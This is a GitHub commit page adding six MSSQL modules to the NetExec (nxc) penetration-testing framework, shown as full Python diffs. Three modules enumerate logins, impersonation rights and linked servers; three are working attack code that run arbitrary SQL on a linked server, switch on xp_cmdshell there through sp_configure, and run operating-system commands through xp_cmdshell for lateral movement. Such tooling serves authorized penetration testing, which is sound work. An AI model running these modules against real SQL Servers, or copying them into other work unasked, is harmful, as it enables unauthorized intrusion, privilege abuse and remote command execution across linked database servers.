Skip to content

Commit a284b00

Browse files
authored
Merge pull request Pennyw0rth#415 from deathflamingo/main
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2 parents fb369f0 + 6477771 commit a284b00

6 files changed

Lines changed: 271 additions & 0 deletions

File tree

nxc/modules/enum_impersonate.py

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
#Author:
2+
# deathflamingo
3+
class NXCModule:
4+
"""Enumerate SQL Server users with impersonation rights"""
5+
6+
name = "enum_impersonate"
7+
description = "Enumerate users with impersonation privileges"
8+
supported_protocols = ["mssql"]
9+
opsec_safe = True
10+
multiple_hosts = True
11+
12+
def __init__(self):
13+
self.mssql_conn = None
14+
self.context = None
15+
16+
def on_login(self, context, connection):
17+
self.context = context
18+
self.mssql_conn = connection.conn
19+
impersonate_users = self.get_impersonate_users()
20+
if impersonate_users:
21+
self.context.log.success("Users with impersonation rights:")
22+
for user in impersonate_users:
23+
self.context.log.display(f" - {user}")
24+
else:
25+
self.context.log.fail("No users with impersonation rights found.")
26+
27+
def get_impersonate_users(self) -> list:
28+
"""
29+
Fetches a list of users with impersonation rights.
30+
31+
Returns:
32+
-------
33+
list: List of user names.
34+
"""
35+
query = """
36+
SELECT DISTINCT b.name
37+
FROM sys.server_permissions a
38+
INNER JOIN sys.server_principals b
39+
ON a.grantor_principal_id = b.principal_id
40+
WHERE a.permission_name LIKE 'IMPERSONATE%'
41+
"""
42+
res = self.mssql_conn.sql_query(query)
43+
return [user["name"] for user in res] if res else []
44+
def options(self, context, module_options):
45+
pass

nxc/modules/enum_links.py

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
#Author:
2+
# deathflamingo
3+
class NXCModule:
4+
"""Enumerate SQL Server linked servers"""
5+
6+
name = "enum_links"
7+
description = "Enumerate linked SQL Servers"
8+
supported_protocols = ["mssql"]
9+
opsec_safe = True
10+
multiple_hosts = True
11+
12+
def __init__(self):
13+
self.mssql_conn = None
14+
self.context = None
15+
16+
def on_login(self, context, connection):
17+
self.context = context
18+
self.mssql_conn = connection.conn
19+
linked_servers = self.get_linked_servers()
20+
if linked_servers:
21+
self.context.log.success("Linked servers found:")
22+
for server in linked_servers:
23+
self.context.log.display(f" - {server}")
24+
else:
25+
self.context.log.fail("No linked servers found.")
26+
27+
def get_linked_servers(self) -> list:
28+
"""
29+
Fetches a list of linked servers.
30+
31+
Returns:
32+
-------
33+
list: List of linked server names.
34+
"""
35+
query = "EXEC sp_linkedservers;"
36+
res = self.mssql_conn.sql_query(query)
37+
return [server["SRV_NAME"] for server in res] if res else []
38+
def options(self, context, module_options):
39+
pass

nxc/modules/enum_logins.py

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
#Author:
2+
# deathflamingo
3+
class NXCModule:
4+
"""Enumerate SQL Server logins"""
5+
6+
name = "enum_logins"
7+
description = "Enumerate SQL Server logins"
8+
supported_protocols = ["mssql"]
9+
opsec_safe = True
10+
multiple_hosts = True
11+
12+
def __init__(self):
13+
self.mssql_conn = None
14+
self.context = None
15+
16+
def on_login(self, context, connection):
17+
self.context = context
18+
self.mssql_conn = connection.conn
19+
logins = self.get_logins()
20+
if logins:
21+
self.context.log.success("Logins found:")
22+
for login in logins:
23+
self.context.log.display(f" - {login}")
24+
else:
25+
self.context.log.fail("No logins found.")
26+
27+
def get_logins(self) -> list:
28+
"""
29+
Fetches a list of SQL Server logins.
30+
31+
Returns:
32+
-------
33+
list: List of login names.
34+
"""
35+
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
36+
res = self.mssql_conn.sql_query(query)
37+
return [login["name"] for login in res] if res else []
38+
def options(self, context, module_options):
39+
pass

nxc/modules/exec_on_link.py

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#Author:
2+
# deathflamingo
3+
class NXCModule:
4+
"""Execute commands on linked servers"""
5+
6+
name = "exec_on_link"
7+
description = "Execute commands on a SQL Server linked server"
8+
supported_protocols = ["mssql"]
9+
opsec_safe = False
10+
multiple_hosts = False
11+
12+
def __init__(self):
13+
self.mssql_conn = None
14+
self.context = None
15+
self.linked_server = None
16+
self.command = None
17+
18+
def options(self, context, module_options):
19+
"""
20+
LINKED_SERVER: The name of the linked server to execute the command on.
21+
COMMAND: The command to execute on the linked server.
22+
"""
23+
if "LINKED_SERVER" in module_options:
24+
self.linked_server = module_options["LINKED_SERVER"]
25+
if "COMMAND" in module_options:
26+
self.command = module_options["COMMAND"]
27+
28+
def on_login(self, context, connection):
29+
self.context = context
30+
self.mssql_conn = connection.conn
31+
if not self.linked_server or not self.command:
32+
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
33+
return
34+
35+
self.execute_on_link()
36+
37+
def execute_on_link(self):
38+
"""
39+
Executes the specified command on the linked server.
40+
"""
41+
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
42+
result = self.mssql_conn.sql_query(query)
43+
self.context.log.display(f"Command output: {result}")

nxc/modules/link_enable_xp.py

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
#Author:
2+
# deathflamingo
3+
class NXCModule:
4+
"""Enable or disable xp_cmdshell on a linked SQL server"""
5+
6+
name = "link_enable_xp"
7+
description = "Enable or disable xp_cmdshell on a linked SQL server"
8+
supported_protocols = ["mssql"]
9+
opsec_safe = False
10+
multiple_hosts = False
11+
12+
def __init__(self):
13+
self.action = None
14+
self.linked_server = None
15+
16+
def options(self, context, module_options):
17+
"""
18+
Defines the options for enabling or disabling xp_cmdshell on the linked server.
19+
ACTION Specifies whether to enable or disable:
20+
- enable (default)
21+
- disable
22+
LINKED_SERVER The name of the linked SQL server to target.
23+
"""
24+
self.action = module_options.get("ACTION", "enable")
25+
self.linked_server = module_options.get("LINKED_SERVER")
26+
27+
def on_login(self, context, connection):
28+
self.context = context
29+
self.mssql_conn = connection.conn
30+
if not self.linked_server:
31+
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
32+
return
33+
34+
# Enable or disable xp_cmdshell based on action
35+
if self.action == "enable":
36+
self.enable_xp_cmdshell()
37+
elif self.action == "disable":
38+
self.disable_xp_cmdshell()
39+
else:
40+
self.context.log.fail(f"Unknown action: {self.action}")
41+
42+
def enable_xp_cmdshell(self):
43+
"""Enable xp_cmdshell on the linked server."""
44+
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
45+
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
46+
out=self.query_and_get_output(query)
47+
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
48+
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
49+
out=self.query_and_get_output(query)
50+
self.context.log.display(out)
51+
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
52+
53+
def disable_xp_cmdshell(self):
54+
"""Disable xp_cmdshell on the linked server."""
55+
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
56+
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
57+
self.query_and_get_output(query)
58+
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
59+
60+
def query_and_get_output(self, query):
61+
"""Executes a query and returns the output."""
62+
return self.mssql_conn.sql_query(query)

nxc/modules/link_xpcmd.py

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#Author:
2+
# deathflamingo
3+
class NXCModule:
4+
"""Run xp_cmdshell commands on a linked SQL server"""
5+
6+
name = "link_xpcmd"
7+
description = "Run xp_cmdshell commands on a linked SQL server"
8+
supported_protocols = ["mssql"]
9+
opsec_safe = False
10+
multiple_hosts = False
11+
12+
def __init__(self):
13+
self.linked_server = None
14+
self.command = None
15+
16+
def options(self, context, module_options):
17+
"""
18+
Defines the options for running xp_cmdshell commands on a linked server.
19+
LINKED_SERVER The name of the linked SQL server to target.
20+
CMD The command to run via xp_cmdshell.
21+
"""
22+
self.linked_server = module_options.get("LINKED_SERVER")
23+
self.command = module_options.get("CMD")
24+
25+
def on_login(self, context, connection):
26+
self.context = context
27+
self.mssql_conn = connection.conn
28+
if not self.linked_server or not self.command:
29+
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
30+
return
31+
32+
self.run_xp_cmdshell(self.command)
33+
34+
def run_xp_cmdshell(self, cmd):
35+
"""Run the specified command via xp_cmdshell on the linked server."""
36+
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
37+
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
38+
result = self.query_and_get_output(query)
39+
self.context.log.success(f"Command output:\n{result}")
40+
41+
def query_and_get_output(self, query):
42+
"""Executes a query and returns the output."""
43+
return self.mssql_conn.sql_query(query)

0 commit comments

Comments
 (0)